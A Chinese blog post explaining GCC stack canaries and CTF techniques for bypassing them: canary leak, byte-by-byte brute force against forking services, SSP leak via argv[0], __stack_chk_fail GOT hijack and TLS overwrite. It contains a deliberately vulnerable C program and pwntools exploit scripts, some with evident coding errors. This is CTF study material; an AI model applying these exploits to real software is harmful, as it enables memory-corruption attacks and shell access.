canary保护介绍以及绕过
February 10, 2019 PWN 访问: 28 次
原理
在GCC中开启canary保护:
-fstack-protector 启用保护,不过只为局部变量中含有数组的函数插入保护
-fstack-protector-all 启用保护,为所有函数插入保护
-fstack-protector-strong
-fstack-protector-explicit 只对有明确stack_protect attribute的函数开启保护
-fno-stack-protector 禁用保护.
在程序中的canary就是来检测栈溢出的,保护机制如下:
- 程序从一个地方取出一个4(eax)或者8(rax)节的值,然后放在栈上,在32位程序中:
在64位上,你可能会看到:
- 在执行程序时,程序到函数执行完的时候,会再次将canary的值取出来,和栈上的值进行比较,如果是栈溢出或者其他原因导致canary的值发生变化,那么程序将自动终止。
canary绕过技术
泄露栈中的canary
canary设计是以“\x00”结尾,本意就是为了保证canar可以截断字符串。泄露栈中canary的思路是覆盖canary的低字节,来打印出剩余的canary部分。泄露条件需要一是可以引起栈溢出,二是可以输出出来。
栈上的canary高低位以及小端(注意\x00在低地址):
Example:
程序源代码:
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
void getshell(void) {
system("/bin/sh");
}
void init() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}
void vuln() {
char buf[100];
for(int i=0;i<2;i++){
read(0, buf, 0x200);
printf(buf);
}
}
int main(void) {
init();
puts("Hello Hacker!");
vuln();
return 0;
}
编译:gcc -m32 -fstack-protector-all filename.c -o filename
Solve:
from pwn import *
context.binary = 'pwn_test'
r = process("pwn_test")
shell_addr = ELF("./pwn_test").sym["getshell"]
r = recvuntil("Hello Hacker!\n")
payload = "a"*100
r.sendline(payload)
print r.recvuntil("a"*100)
canart = u32(r.recv(4)-0x0a)
print "canary:"+hex(canary)
payload = "a"*100+p32(canary)+"a"*8+"aaaa"+p32(shell_addr)
r.sendline(payload)
r.interactive()
one-by-one 爆破canary
有些pwn题中存在fork函数,fork函数详解 ,且程序开启了canary保护,在一定的条件下我们可以将canary爆破出来
爆破原理:
程序中存在栈溢出,并且可以覆盖到canary的位置,我们可以一位一位的将爆破出来,脚本模板:
log.info("---------------------------爆破canary-----------------------------------")
canary = "\x00"
for x in xrange(3):
for y in xrange(256):
# 条件准备
r.send("a"*offset+canary+chr(y))
if 判断正确条件:
# ……code……
else:
canary = canary+chr(y)
log.info('At round %d find canary byte %#x' %(x, y))
r.recv()
break
log.info("爆破出canary的值为%#x"%(u32(canary)))
Example(~/NSCTF 2017-pwn2/pwn2)
发现程序开启了canary保护和NX(栈不可执行):
➜ 爆破 checksec --file pwn2
[*] '/home/wxm/Desktop/canary\xe4\xbf\x9d\xe6\x8a\xa4\xe8\xaf\xa6\xe8\xa7\xa3/\xe7\x88\x86\xe7\xa0\xb4/pwn2'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
拖入IDA中查看伪代码:
main函数:
int __cdecl main()
{
char v1; // [esp+1Bh] [ebp-5h]
__pid_t v2; // [esp+1Ch] [ebp-4h]
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
while ( 1 )
{
write(1, "[*] Do you love me?[Y]\n", 0x17u);
if ( getchar() != 'Y' )
break;
v1 = getchar();
while ( v1 != '\n' && v1 )
;
v2 = fork();
if ( v2 )
{
if ( v2 <= 0 )
{
if ( v2 < 0 )
exit(0);
}
else
{
wait(0);
}
}
else
{
sub_80487FA();
}
}
return 0;
}
---------------------------------------------------------------------------
sub_80487FA()
unsigned int sub_80487FA()
{
char *s; // ST18_4
int buf; // [esp+1Ch] [ebp-1Ch]
int v3; // [esp+20h] [ebp-18h]
int v4; // [esp+24h] [ebp-14h]
int v5; // [esp+28h] [ebp-10h]
unsigned int v6; // [esp+2Ch] [ebp-Ch]
v6 = __readgsdword(0x14u);
buf = 0;
v3 = 0;
v4 = 0;
v5 = 0;
s = (char *)malloc(0x40u);
sub_804876D(&buf);
sprintf(s, "[*] Welcome to the game %s", &buf);
printf(s);
puts("[*] Input Your Id:");
read(0, &buf, 0x100u);
return __readgsdword(0x14u) ^ v6;
}
---------------------------------------------------------------------------
sub_804876D()
unsigned int __cdecl sub_804876D(void *a1)
{
size_t v1; // ST18_4
char s; // [esp+1Ch] [ebp-4Ch]
unsigned int v4; // [esp+5Ch] [ebp-Ch]
v4 = __readgsdword(0x14u);
memset(&s, 0, 0x40u);
puts("[*] Input Your name please:");
__isoc99_scanf("%s", &s);
v1 = strlen(&s);
memcpy(a1, &s, v1 + 1);
return __readgsdword(0x14u) ^ v4;
}
经过测试后可以将canary爆破出来,爆破脚本如下:
#coding:utf-8
from pwn import *
r = process("pwn2")
file = ELF("./pwn2")
libc = ELF("./libc.so.6_x86")
log.info("---------------------------条件准备-----------------------------------")
print " puts_plt_addr:"+hex(file.plt['puts'])
print " puts_got_addr:"+hex(file.got['puts'])
r.recv()
r.sendline("Y")
r.recv()
r.sendline("radish")
r.recv()
r.send("a"*16+"\x00")
log.info("---------------------------爆破canary-----------------------------------")
str1 = r.recv()
true_len = 46
canary = "\x00"
for x in xrange(3):
for y in xrange(256):
r.sendline("Y")
r.recv()
r.sendline("radish")
r.recv()
r.send("a"*16+canary+chr(y))
if "<unknown>" in r.recvuntil("[*] Do you love me?[Y]",drop=True):
a=123
else:
canary = canary+chr(y)
log.info('At round %d find canary byte %#x' %(x, y))
r.recv()
break
log.info("爆破出canary的值为%#x"%(u32(canary)))
log.info("---------------------------测试canary正确性-----------------------------------")
r.sendline("Y")
print r.recv()
r.sendline("wxm")
print r.recv()
payload = "a"*16+canary+"a"*12+p32(file.plt['puts'])+"aaaa"+p32(0x0804833D)
r.sendline(payload)
print r.recv()
结果如下:
SSP Leak
在canary不对的情况下,程序在终止之前程序流会执行__stack_chk_fail()函数,如下所示:
canary在栈中的相对位置
__stack_chk_fail()函数定义如下:
eglibc-2.19/debug/stack_chk_fail.c
void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
__fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
/* The loop is added only to keep gcc happy. */
while (1)
__libc_message (2, "*** %s ***: %s terminated\n",
msg, __libc_argv[0] ?: "<unknown>");
}
当程序执行__stack_chk_fail()函数的时候会输出类似:
*** stack smashing detected ***: ./guess terminated
|
v
argv[0]
当程序中存在栈溢出,并且溢出的长度可以覆盖掉程序中的argv[0]的时候,我们可以通过这种方法打印任意地址上的值,造成任意地址读。
更深一步的来讲,对于linux,fs段寄存器实际指向的是当前栈的TLS结构,fs:0x28指向的正是stack_guard。
typedef struct
{
void *tcb; /* Pointer to the TCB. Not necessarily the
thread descriptor used by libpthread. */
dtv_t *dtv;
void *self; /* Pointer to the thread descriptor. */
int multiple_threads;
uintptr_t sysinfo;
uintptr_t stack_guard;
...
} tcbhead_t;
如果存在溢出可以覆盖位于TLS中保存的canary值,那么就可以实现绕过保护机制
TLS中的值由函数security_init进行初始化。
static void
security_init (void)
{
// _dl_random的值在进入这个函数的时候就已经由kernel写入.
// glibc直接使用了_dl_random的值并没有给赋值
// 如果不采用这种模式, glibc也可以自己产生随机数
//将_dl_random的最后一个字节设置为0x0
uintptr_t stack_chk_guard = _dl_setup_stack_chk_guard (_dl_random);
// 设置Canary的值到TLS中
THREAD_SET_STACK_GUARD (stack_chk_guard);
_dl_random = NULL;
}
//THREAD_SET_STACK_GUARD宏用于设置TLS
#define THREAD_SET_STACK_GUARD(value) \
THREAD_SETMEM (THREAD_SELF, header.stack_guard, value)
2018年网鼎杯---guess
首先checksec程序:
➜ ssp_leak checksec --file guess
[*] '/home/wxm/Desktop/ssp_leak/guess'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
放入IDA中f5:
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
__WAIT_STATUS stat_loc; // [rsp+14h] [rbp-8Ch]
int v5; // [rsp+1Ch] [rbp-84h]
__int64 v6; // [rsp+20h] [rbp-80h]
__int64 v7; // [rsp+28h] [rbp-78h]
char buf; // [rsp+30h] [rbp-70h]
char s2; // [rsp+60h] [rbp-40h]
unsigned __int64 v10; // [rsp+98h] [rbp-8h]
v10 = __readfsqword(0x28u);
v7 = 3LL;
LODWORD(stat_loc.__uptr) = 0;
v6 = 0LL;
sub_4009A6(a1, a2, a3);
HIDWORD(stat_loc.__iptr) = open("./flag.txt", 0, a2);
if ( HIDWORD(stat_loc.__iptr) == -1 )
{
perror("./flag.txt");
_exit(-1);
}
read(SHIDWORD(stat_loc.__iptr), &buf, 0x30uLL);
close(SHIDWORD(stat_loc.__iptr));
puts("This is GUESS FLAG CHALLENGE!");
while ( 1 )
{
if ( v6 >= v7 )
{
puts("you have no sense... bye :-) ");
return 0LL;
}
v5 = sub_400A11();
if ( !v5 )
break;
++v6;
wait((__WAIT_STATUS)&stat_loc);
}
puts("Please type your guessing flag");
gets(&s2);
if ( !strcmp(&buf, &s2) )
puts("You must have great six sense!!!! :-o ");
else
puts("You should take more effort to get six sence, and one more challenge!!");
return 0LL;
}
程序开启了Canary保护,并且存在有栈溢出,可以覆盖掉argv[0],还可以进行三次栈溢出,所以我们就可以用这种方法来泄露处flag
- 找argv[0]的地址,计算出偏移量
第一种方法:首先使用gdb将程序载入,在栈很高的位置上可以看到,它默认是指向文件名的
第二种方法:在gdb中:
pwndbg> p & __libc_argv[0]
$1 = (char **) 0x7fffffffe0f8
我们输入的字符串s2在“rsp+60/rbp-40”,flag在“rsp+30/rbp-70”。可以计算出能覆盖掉argv[0]的偏移是0x128
- 通过泄露_environ,也就是真实栈的地址
在linux应用程序运行时,内存的最高端是环境/参数节(environment/arguments section)
用来存储系统环境变量的一份复制文件,进程在运行时可能需要。
例如,运行中的进程,可以通过环境变量来访问路径、shell 名称、主机名等信息。
该节是可写的,因此在格式串(format string)和缓冲区溢出(buffer overflow)攻击中都可以攻击该节。
*environ指针指向栈地址(环境变量位置),有时它也成为攻击的对象,泄露栈地址,篡改栈空间地址,进而劫持控制流。
环境表是一个表示环境字符串的字符指针数组,由name=value这样类似的字符串组成,它储存在整个进程空间的的顶部,栈地址之上
其中value是一个以”\0″结束的C语言类型的字符串,代表指针该环境变量的值
一般我们见到的name都是大写,但这只是一个惯例
我们需要泄漏出栈的地址,才能泄漏出flag,而environ存着栈的地址,那么我们就泄漏它 通过栈的地址计算出flag所在的真实地址,然后利用该地址覆盖掉argv[0]来泄露处flag。
我试着复现了这一道题目,但是由于环境原因一直没有成功。
劫持__stack_chk_fail函数
在开启canary保护的程序中,如果canary不对的情况下,程序会转到__stack_chk_fail函数执行,__stack_chk_fail函数是一个普通的延迟绑定函数,可以通过修改GOT表劫持这个函数。利用方式就是通过格式化字符串漏洞来修改GOT表中的值。由于我还没学习到格式化字符串漏洞的利用,之后学习过之后再来尝试一下。
覆盖 TLS 中储存的 Canary 值
已知 Canary 储存在 TLS 中,在函数返回前会使用这个值进行对比。当溢出尺寸较大时,可以同时覆盖栈上储存的 Canary 和 TLS 储存的 Canary 实现绕过。例子 中的Babystack。